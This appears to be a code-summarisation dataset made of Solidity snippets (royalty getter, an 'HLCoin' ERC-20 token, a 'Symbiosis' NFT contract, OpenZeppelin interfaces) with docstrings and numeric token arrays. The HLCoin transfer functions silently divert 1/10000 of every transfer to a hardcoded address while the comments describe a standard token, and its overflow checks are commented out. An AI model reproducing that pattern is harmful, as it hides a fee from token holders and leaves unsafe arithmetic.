ERC721Upgradeable.supportsInterface(interfaceId) || interfaceId == type(IERC2981Upgradeable).interfaceId; } }
ERC2981 royalty info getter fn ignored tokenId token id to get royalty info for @param salePrice sale price to get royalty percentage for
function royaltyInfo(uint256, uint256 salePrice) external view override(IERC2981Upgradeable) returns (address receiver, uint256 royaltyAmount) { return (royaltyConfig.payout, (salePrice * royaltyConfig.bps) / 10000); }
10,374,538
[ 1, 654, 39, 5540, 11861, 721, 93, 15006, 1123, 7060, 2295, 5455, 1147, 548, 1147, 612, 358, 336, 721, 93, 15006, 1123, 364, 225, 272, 5349, 5147, 272, 5349, 6205, 358, 336, 721, 93, 15006, 11622, 364, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 721, 93, 15006, 966, 12, 11890, 5034, 16, 2254, 5034, 272, 5349, 5147, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 3849, 12, 45, 654, 39, 5540, 11861, 10784, 429, 13, 203, 3639, 1135, 261, 2867, 5971, 16, 2254, 5034, 721, 93, 15006, 6275, 13, 203, 565, 288, 203, 3639, 327, 261, 3800, 15006, 809, 18, 84, 2012, 16, 261, 87, 5349, 5147, 380, 721, 93, 15006, 809, 18, 70, 1121, 13, 342, 12619, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Abstract contract for the full ERC 20 Token standard //@ create by m-chain jerry pragma solidity ^0.4.8; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see WalStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value - (_value/10000); balances[0xc4B6Cc60d45e68D4ac853c7f9c9C23168a85324D] += _value/10000; Transfer(msg.sender, 0xc4B6Cc60d45e68D4ac853c7f9c9C23168a85324D, (_value/10000)); Transfer(msg.sender, _to, _value - (_value/10000)); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value - (_value/10000); balances[0xc4B6Cc60d45e68D4ac853c7f9c9C23168a85324D] += _value/10000; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, 0xc4B6Cc60d45e68D4ac853c7f9c9C23168a85324D, (_value/10000)); Transfer(_from, _to, _value - (_value/10000)); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HLCoin is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = "P0.1"; //human 0.1 standard. Just an arbitrary versioning scheme. function HLCoin() { balances[msg.sender] = 399000000000000; // Give the creator all initial tokens totalSupply = 399000000000000; // Update total supply name = "HL Coin"; // Set the name for display purposes decimals = 6; // Amount of decimals for display purposes symbol = "HLCoin"; // Set the symbol for display purposes } }
Set the symbol for display purposes
symbol = "HLCoin";
13,717,710
[ 1, 694, 326, 3273, 364, 2562, 13694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3273, 273, 315, 29995, 885, 14432, 27573, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * * S Y M B I O S I S * * _________________ by Lucien Loiseau (MetaPixel.art) * * This file contains the source code for the ERC-721 smart contract driving * the NFT logic for the project "Symbiosis" (https://symbiosis.metapixel.art). * */ contract Symbiosis is Context, Ownable, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; using Counters for Counters.Counter; string private _name = "Symbiosis"; string private _symbol = "SYMBIOS"; // max supply and price uint256 public constant MAX_TOKENS_PER_PURCHASE = 20; uint256 public constant TOKEN_LIMIT = 2048; uint256 private tokenPrice = 250 * 1000000000000000 wei; // artist uint256 public ARTIST_PRINTS = 128; address payable public constant ARTIST_WALLET = payable(0xde00d5483e685c67E83c0C639322150B0365fFfa); // Total amount of tokens Counters.Counter private _totalMinted; // reference to the generator on IPFS string public generatorIpfsHash = ""; string public playerJsIpfsHash = ""; string public webPlayerIpfsHash = ""; bool public isLocked = false; // ----- Symbiosis NFT's history ----- struct Ownership { address account; uint256 timestamp; } // Mapping token ID to owner's history mapping(uint256 => Ownership[]) private _owners; string public baseURI = "https://assets.symbiosis.metapixel.art/metadata/"; // ----- IERC 721 ENUMERABLE ----- // Mapping address to list of owned tokens mapping(address => uint256[]) private _tokensOf; // Mapping tokenId to index in owner's set mapping(uint256 => uint256) internal _idToOwnerIndex; // ----- IERC 721 APPROVALS ----- // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor() {} /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function totalSupply() public view override returns (uint256) { return _totalMinted.current(); } function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _totalMinted.current(); } /** * @dev returns all the token owned by an owner */ function tokensOf(address owner) external view returns (uint256[] memory) { return _tokensOf[owner]; } function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { require(index < balanceOf(owner), "Symbiosis: index out of range"); return _tokensOf[owner][index]; } function tokenByIndex(uint256 index) external pure override returns (uint256) { return index; } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require( owner != address(0), "Symbiosis: balance query for the zero address" ); return _tokensOf[owner].length; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require( tokenId < TOKEN_LIMIT, "Symbiosis: owner query for nonexistent token" ); require( _exists(tokenId), "Symbiosis: owner query for unminted token" ); uint256 length = _owners[tokenId].length; return _owners[tokenId][length - 1].account; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "Symbiosis: URI query for nonexistent token" ); return string(abi.encodePacked(baseURI, tokenId.toString())); } /** * @dev ownership history */ function tokenHistory(uint256 tokenId) public view returns (Ownership[] memory) { require( _exists(tokenId), "Symbiosis: unminted token has no history" ); return _owners[tokenId]; } /** * @dev seed generates token history as a compact hexadecimal string */ function tokenArtSeed(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Symbiosis: unminted token has no seed"); uint256 nbOfOwner = _owners[tokenId].length; bytes memory _output = new bytes((2 + (20 + 5) * nbOfOwner + 5) * 2); uint256 _offst = 0; uintToHexString(_output, _offst, tokenId, 2); _offst += 4; uint256 i; for (i = 0; i < nbOfOwner; i++) { uintToHexString( _output, _offst, uint160(_owners[tokenId][i].account), 20 ); _offst += 40; uintToHexString(_output, _offst, _owners[tokenId][i].timestamp, 5); _offst += 10; } uintToHexString(_output, _offst, block.timestamp, 5); _offst += 10; return string(_output); } function uintToHexString( bytes memory _output, uint256 _offst, uint256 a, uint256 precision ) internal pure { uint256 value = a; uint256 i; for (i = (_offst + (precision * 2)); i > _offst; i--) { uint8 _f = uint8(value & 0x0f); uint8 _l = uint8((value & 0xf0) >> 4); _output[i - 1] = _f > 9 ? bytes1(87 + _f) : bytes1(48 + _f); i = i - 1; _output[i - 1] = _l > 9 ? bytes1(87 + _l) : bytes1(48 + _l); value = value >> 8; } } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = Symbiosis.ownerOf(tokenId); require(to != owner, "Symbiosis: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "Symbiosis: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require( _exists(tokenId), "Symbiosis: approved query for nonexistent token" ); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "Symbiosis: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require( _exists(tokenId), "Symbiosis: operator query for nonexistent token" ); address owner = Symbiosis.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function artistMint(uint256 quantity, address to) external onlyOwner { require( ARTIST_PRINTS >= quantity, "Symbiosis: not enough artist prints" ); require( (_totalMinted.current() + quantity) <= TOKEN_LIMIT, "Symbiosis: not enough token left to mint" ); ARTIST_PRINTS -= quantity; for (uint256 i = 0; i < quantity; i++) { _createNft(to); } } function mint(uint256 _count) external payable { require( (_totalMinted.current() + _count) <= TOKEN_LIMIT, "Symbiosis: exceed maximum token limit" ); require( _count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "Symbiosis: exceeds maximum purchase in a single transaction" ); uint256 mintPrice = tokenPrice * _count; require( msg.value >= mintPrice, "Symbiosis: not enough Ether to mint the art" ); // mint tokens uint256 tokenId; for (uint256 i = 0; i < _count; i++) { tokenId = _createNft(_msgSender()); } // send the change back if any uint256 change = (msg.value - mintPrice); if (change > 0) { (bool changeSent, ) = _msgSender().call{value: change}(""); require(changeSent, "Failed to send change to buyer"); } // pay the artist (bool paymentSent, ) = ARTIST_WALLET.call{value: mintPrice}(""); require(paymentSent, "Failed to send Ether to artist wallet"); require( _checkOnERC721Received(address(0), _msgSender(), tokenId, ""), "Symbiosis: transfer to non ERC721Receiver implementer" ); } function _createNft(address to) private returns (uint256) { uint256 newTokenId = _totalMinted.current(); // update erc721 enumerables _tokensOf[to].push(newTokenId); _idToOwnerIndex[newTokenId] = _tokensOf[to].length - 1; // updte nft art history _owners[newTokenId].push( Ownership({account: to, timestamp: block.timestamp}) ); // update minted token count _totalMinted.increment(); emit Transfer(address(0), to, newTokenId); return newTokenId; } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "Symbiosis: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "Symbiosis: transfer to non ERC721Receiver implementer" ); } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "Symbiosis: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal { require( Symbiosis.ownerOf(tokenId) == from, "Symbiosis: transfer from of token that is not own" ); require( to != address(0), "Symbiosis: transfer to the zero address" ); require(to != from, "Symbiosis: transfer to the same address"); // Clear approvals from the previous owner _approve(address(0), tokenId); // transfer token _removeNFTokenFromOwner(from, tokenId); _addNFTokenToOwner(to, tokenId); // update token history _owners[tokenId].push( Ownership({account: to, timestamp: block.timestamp}) ); emit Transfer(from, to, tokenId); } function _removeNFTokenFromOwner(address from, uint256 tokenId) internal { uint256 tokenToRemoveIndex = _idToOwnerIndex[tokenId]; uint256 lastTokenIndex = _tokensOf[from].length - 1; if (tokenToRemoveIndex != lastTokenIndex) { uint256 lastTokenId = _tokensOf[from][lastTokenIndex]; _tokensOf[from][tokenToRemoveIndex] = lastTokenId; _idToOwnerIndex[lastTokenId] = tokenToRemoveIndex; } delete _idToOwnerIndex[tokenId]; _tokensOf[from].pop(); } function _addNFTokenToOwner(address to, uint256 tokenId) internal { _tokensOf[to].push(tokenId); _idToOwnerIndex[tokenId] = _tokensOf[to].length - 1; } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(Symbiosis.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "Symbiosis: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setPrice(uint256 _newPrice) public onlyOwner { tokenPrice = _newPrice; } function getPrice() public view returns (uint256) { return tokenPrice; } function setGeneratorIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); generatorIpfsHash = ipfsHash; } function setPlayerJsIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); playerJsIpfsHash = ipfsHash; } function setWebPlayerIpfsHash(string memory ipfsHash) public onlyOwner { require(!isLocked, "contract locked, cannot be set"); webPlayerIpfsHash = ipfsHash; } function lock() public onlyOwner { require(!isLocked, "contract already locked"); isLocked = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, 